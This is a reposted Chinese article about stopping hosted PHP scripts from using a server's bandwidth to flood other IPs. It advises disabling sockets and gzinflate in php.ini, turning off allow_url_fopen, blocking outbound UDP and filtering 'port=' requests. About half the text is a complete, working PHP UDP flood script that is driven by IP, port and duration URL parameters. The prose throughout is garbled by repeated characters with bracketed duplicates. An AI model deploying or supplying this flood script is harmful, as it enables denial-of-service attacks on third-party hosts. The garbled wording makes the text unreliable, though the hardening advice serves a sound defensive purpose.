用PHP代碼調(diào)用sockets,直接用服務(wù)器的網(wǎng)絡(luò)攻擊別的IP,常見(jiàn)代碼如下:

$packets = 0;

$ip = $_GET[\'ip\'];

$rand = $_GET[\'port\'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[\'time\'];

$time = time();

print \"Flooded: $ip on port $rand

\";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= \"X\";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";

?>

表現(xiàn)特征:

一打開(kāi)IIS,服務(wù)器的流出帶寬就用光-----就是說(shuō)服務(wù)器不斷向別人發(fā)包,這個(gè)情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.

解決辦法:

禁止上述的代碼:

在c:\windows\php.ini里設(shè)置:

disable_functions =gzinflate;

在c:\windows\php.ini里設(shè)其值為Off

allow_url_fopen = Off

并且:

;extension=php_sockets.dll

前面的;號(hào)一定要有,意思就是限制用sockets.dll

前面的;號(hào)要保留

然后重啟IIS

如果上述方式仍然無(wú)效,你可以在IIS中,允許的擴(kuò)展中,禁止PHP的擴(kuò)展測(cè)試.

另外,對(duì)于沒(méi)加密的php攻擊代碼,還可以用以下辦法處理:

1.在IP策略,或防火墻中,禁止所有udp向外發(fā)送

2.用一流信息監(jiān)控,在SQL攔截及網(wǎng)址攔截中,攔截port=這個(gè)關(guān)鍵詞

總結(jié)

以上是生活随笔為你收集整理的php dos,防止用户利用PHP代码DOS造成用光网络带宽的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。